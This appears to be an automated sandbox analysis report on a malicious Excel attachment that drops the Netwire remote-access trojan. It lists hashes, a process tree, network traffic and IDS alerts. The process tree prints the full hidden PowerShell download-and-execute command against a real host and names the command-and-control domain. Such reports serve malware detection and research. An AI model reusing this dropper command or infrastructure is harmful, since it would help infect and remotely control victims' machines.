File name: | LetterofIntent-Eckharthelicopter.xls |
Full analysis: | https://app.any.run/tasks/398235d6-6d1a-465e-b96b-52122be095e1 |
Verdict: | Malicious activity |
Threats: | Netwire is an advanced RAT — it is a malware that takes control of infected PCs and allows its operators to perform various actions. Unlike many RATs, this one can target every major operating system, including Windows, Linux, and MacOS. |
Analysis date: | July 24, 2020, 20:54:59 |
OS: | Windows 10 Professional (build: 16299, 64 bit) |
Tags: | |
Indicators: | |
MIME: | application/vnd.ms-excel |
File info: | Composite Document File V2 Document, Little Endian, Os: Windows, Version 10.0, Code page: 1252, Author: DAZED, Last Saved By: DAZED, Name of Creating Application: Microsoft Excel, Create Time/Date: Fri Jul 24 16:01:52 2020, Last Saved Time/Date: Fri Jul 24 16:06:33 2020, Security: 0 |
MD5: | 6CB7256DDE8C6CF09FC82B7F75FD18AD |
SHA1: | 9B5BB3F2FDA7A6E316A210942D0D65D1E877761D |
SHA256: | 2CB072D9FCC9413A91B245513366C7BB52BFEC2638F67C158520C2854E264208 |
SSDEEP: | 12288:huj3HVAQHVxSCyGnOsDRGzg5Bi0nvGfqTuRJwWJsZSk9A+oMD1L0Nc:UXVAQ1xSp8IzgSgvqRJwWJsZSoywL0S |
.xls | | | Microsoft Excel sheet (48) |
.xls | | | Microsoft Excel sheet (alternate) (39.2) |
CompObjUserType: | Microsoft Excel 2003 Worksheet |
CompObjUserTypeLen: | 31 |
HeadingPairs: |
|
TitleOfParts: | Sheet1 |
HyperlinksChanged: | No |
SharedDoc: | No |
LinksUpToDate: | No |
ScaleCrop: | No |
AppVersion: | 16 |
Company: | |
CodePage: | Windows Latin 1 (Western European) |
Security: | None |
ModifyDate: | 2020:07:24 15:06:33 |
CreateDate: | 2020:07:24 15:01:52 |
Software: | Microsoft Excel |
LastModifiedBy: | DAZED |
Author: | DAZED |
PID | CMD | Path | Indicators | Parent process |
---|---|---|---|---|
4580 | "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\admin\Desktop\LetterofIntent-Eckharthelicopter.xls" | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | explorer.exe | |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Excel Version: 16.0.12026.20264 | ||||
72 | cmd /c powershell.exe -executionpolicy bypass -W Hidden -command (new-object System.Net.WebClient).DownloadFile('http://hodrc.org/ot/solut.exe',$env:Temp+'\solute.exe');(New-Object -com Shell.Application).ShellExecute($env:Temp+'\solute.exe') | C:\WINDOWS\SYSTEM32\cmd.exe | — | EXCEL.EXE |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 10.0.16299.15 (WinBuild.160101.0800) | ||||
3424 | \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1 | C:\WINDOWS\system32\conhost.exe | cmd.exe | |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Console Window Host Exit code: 0 Version: 10.0.16299.15 (WinBuild.160101.0800) | ||||
1948 | powershell.exe -executionpolicy bypass -W Hidden -command (new-object System.Net.WebClient).DownloadFile('http://hodrc.org/ot/solut.exe',$env:Temp+'\solute.exe');(New-Object -com Shell.Application).ShellExecute($env:Temp+'\solute.exe') | C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe | cmd.exe | |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 10.0.16299.15 (WinBuild.160101.0800) | ||||
2752 | "C:\Users\admin\AppData\Local\Temp\solute.exe" | C:\Users\admin\AppData\Local\Temp\solute.exe | powershell.exe | |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: XACT Build Utility Exit code: 0 Version: 9.29 (DXSDK_JUN10.100602-0421) | ||||
1740 | "C:\Users\admin\AppData\Roaming\solu\solu.exe" | C:\Users\admin\AppData\Roaming\solu\solu.exe | solute.exe | |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: XACT Build Utility Exit code: 0 Version: 9.29 (DXSDK_JUN10.100602-0421) |
PID | Process | Filename | Type | |
---|---|---|---|---|
4580 | EXCEL.EXE | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\Z0B3631KDJ1WL4OLCXIM.temp | — | |
MD5:— | SHA256:— | |||
4580 | EXCEL.EXE | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms | — | |
MD5:— | SHA256:— | |||
4580 | EXCEL.EXE | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\7OJ3GWE2MNKXM9VH8HAV.temp | — | |
MD5:— | SHA256:— | |||
1948 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_j5m1lfzy.0oo.ps1 | — | |
MD5:— | SHA256:— | |||
1948 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_x5qbth5m.rfy.psm1 | — | |
MD5:— | SHA256:— | |||
2752 | solute.exe | C:\Users\admin\AppData\Roaming\solu\solu.exe | executable | |
MD5:91506BC2A51501164B6A2B0C18AD1C44 | SHA256:B16B3D99441F078E081E2AC0A8F0121CE4DAB264BF434E353D1E00A57E54D3AA | |||
4580 | EXCEL.EXE | C:\Users\admin\AppData\Roaming\Microsoft\Office\Recent\index.dat | text | |
MD5:C9504642E06A4D3A31D20AC06ED6713A | SHA256:40F7D6FFFC2BDCD0748D0E4B405D8D03772A7DE2E378A30E3EB5EF4D19930065 | |||
4580 | EXCEL.EXE | C:\Users\admin\AppData\Local\Temp\.ses | text | |
MD5:C33ED3B632A8C623EA345A9B78D2524F | SHA256:7256054B34B9DD3414CA30A35507F58CC4470E9885BA2F4AB3C33C21B547EEA8 | |||
1948 | powershell.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive | binary | |
MD5:65BDD5145D97FA744EEF1CB6762B6F6D | SHA256:D2025033AC5B23ED2BC7B8518CE20528781835C6C4C485A0AA1BED3B388ACF4A | |||
4580 | EXCEL.EXE | C:\Users\admin\AppData\Roaming\Microsoft\Office\Recent\LetterofIntent-Eckharthelicopter.xls.LNK | lnk | |
MD5:0F58D7EE239E09EBC5980639C0D7EAA2 | SHA256:0739146FBE5404F541B3272A1F224CBB034DA96DE5F527E8DA997E0DE508C4D5 |
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
---|---|---|---|---|---|---|---|---|---|
4580 | EXCEL.EXE | POST | 200 | 40.90.137.124:443 | https://login.live.com/RST2.srf | US | xml | 1.29 Kb | whitelisted |
4580 | EXCEL.EXE | GET | 200 | 13.107.42.23:443 | https://config.edge.skype.com/config/v2/Office/excel/16.0.12026.20264/Production/CC?&Clientid=%7bD61AB268-C26A-439D-BB15-2A0DEDFCA6A3%7d&Application=excel&Platform=win32&Version=16.0.12026.20264&MsoVersion=16.0.12026.20194&Audience=Production&Build=ship&Architecture=x64&Language=en-US&SubscriptionLicense=false&PerpetualLicense=2019&Channel=CC&InstallType=C2R&SessionId=%7b61BF321D-C30A-4492-9F75-7F82F56F1BC1%7d&LabMachine=false | US | text | 89.4 Kb | whitelisted |
4580 | EXCEL.EXE | GET | 200 | 52.109.8.19:443 | https://nexusrules.officeapps.live.com/nexus/rules?Application=excel.exe&Version=16.0.12026.20264&ClientId=%7bD61AB268-C26A-439D-BB15-2A0DEDFCA6A3%7d&OSEnvironment=10&MsoAppId=1&AudienceName=Production&AudienceGroup=Production&AppVersion=16.0.12026.20264& | US | xml | 313 Kb | whitelisted |
4580 | EXCEL.EXE | POST | 200 | 52.114.128.70:443 | https://self.events.data.microsoft.com/OneCollector/1.0/ | US | text | 56 b | whitelisted |
4580 | EXCEL.EXE | POST | 200 | 40.90.137.124:443 | https://login.live.com/RST2.srf | US | xml | 9.87 Kb | whitelisted |
4580 | EXCEL.EXE | GET | 200 | 52.109.76.6:443 | https://officeclient.microsoft.com/config16/?lcid=1033&syslcid=1033&uilcid=1033&build=16.0.12026&crev=3 | IE | xml | 124 Kb | whitelisted |
4580 | EXCEL.EXE | POST | 200 | 52.114.128.70:443 | https://self.events.data.microsoft.com/OneCollector/1.0/ | US | text | 9 b | whitelisted |
1948 | powershell.exe | GET | 200 | 45.40.135.135:80 | http://hodrc.org/ot/solut.exe | US | executable | 1.40 Mb | suspicious |
4580 | EXCEL.EXE | POST | 200 | 40.90.137.124:443 | https://login.live.com/RST2.srf | US | xml | 11.1 Kb | whitelisted |
4580 | EXCEL.EXE | GET | 304 | 20.191.48.196:443 | https://settings-win-ppe.data.microsoft.com/settings/v2.0/Storage/StorageHealthEvaluation?os=Windows&deviceClass=Windows.Desktop&appVer=1.0.0.0 | US | — | — | whitelisted |
PID | Process | IP | Domain | ASN | CN | Reputation |
---|---|---|---|---|---|---|
4580 | EXCEL.EXE | 13.107.42.23:443 | config.edge.skype.com | Microsoft Corporation | US | suspicious |
4356 | svchost.exe | 20.191.48.196:443 | settings-win-ppe.data.microsoft.com | Microsoft Corporation | US | unknown |
3388 | svchost.exe | 40.90.137.124:443 | login.live.com | Microsoft Corporation | US | unknown |
4580 | EXCEL.EXE | 52.109.76.6:443 | officeclient.microsoft.com | Microsoft Corporation | IE | whitelisted |
1948 | powershell.exe | 45.40.135.135:80 | hodrc.org | GoDaddy.com, LLC | US | suspicious |
4580 | EXCEL.EXE | 52.109.8.19:443 | nexusrules.officeapps.live.com | Microsoft Corporation | US | whitelisted |
1740 | solu.exe | 185.165.153.158:2022 | solution.myddns.me | — | NL | malicious |
4580 | EXCEL.EXE | 52.114.128.70:443 | self.events.data.microsoft.com | Microsoft Corporation | US | unknown |
Domain | IP | Reputation |
---|---|---|
config.edge.skype.com |
| whitelisted |
hodrc.org |
| unknown |
self.events.data.microsoft.com |
| whitelisted |
solution.myddns.me |
| malicious |
officeclient.microsoft.com |
| whitelisted |
nexusrules.officeapps.live.com |
| whitelisted |
login.live.com |
| whitelisted |
settings-win-ppe.data.microsoft.com |
| whitelisted |
PID | Process | Class | Message |
---|---|---|---|
1948 | powershell.exe | Potential Corporate Privacy Violation | ET POLICY PE EXE or DLL Windows file download HTTP |
1948 | powershell.exe | Potentially Bad Traffic | ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download |
1740 | solu.exe | A Network Trojan was detected | MALWARE [PTsecurity] Netwire.RAT |
1740 | solu.exe | A Network Trojan was detected | MALWARE [PTsecurity] Netwire.RAT |
1740 | solu.exe | A Network Trojan was detected | MALWARE [PTsecurity] Netwire.RAT |
Process | Message |
---|---|
conhost.exe | InitSideBySide failed create an activation context. Error: 1814 |